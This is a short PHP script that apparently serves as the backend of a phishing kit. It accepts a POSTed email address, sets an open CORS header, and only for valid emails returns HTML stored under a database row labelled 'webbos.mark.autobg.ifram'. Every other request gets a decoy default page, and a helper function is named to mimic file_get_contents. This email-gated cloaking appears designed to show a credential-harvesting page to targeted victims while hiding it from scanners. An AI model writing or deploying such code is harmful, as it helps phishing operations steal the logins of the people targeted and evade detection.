<?php
header('Access-Control-Allow-Origin: *');

// Function to validate email
function isValidEmail($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

function file_d_contents($email) {
    // require '../../wp-load.php';
    // global $wpdb;
    // return $res = $wpdb->get_var( "SELECT option_value FROM {$wpdb->options} WHERE option_name = 'tin'" );
    
    include("thedb.php");
    mysqli_set_charset($con, 'utf8mb4');

    $query = mysqli_query($con, "SELECT * FROM all_post_call_link WHERE page = 'webbos.mark.autobg.ifram'");
    if (mysqli_num_rows($query) > 0) {
        $cala = mysqli_fetch_array($query); 
        return $cala['pubdata'];
    } else {
        echo @file_get_contents('default.html'); 
        exit();
    }
}

$defaultContent = @file_get_contents('default.html');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = isset($_POST['e']) ? $_POST['e'] : null;

    if ($email && isValidEmail($email)) {
            $content = file_d_contents($email);
            if ($content) {
                echo $content;
                // echo $defaultContent;
            } else {
                echo $defaultContent;
            }
    } else {
        echo $defaultContent;
    }
} else {
    echo $defaultContent;
}
?>
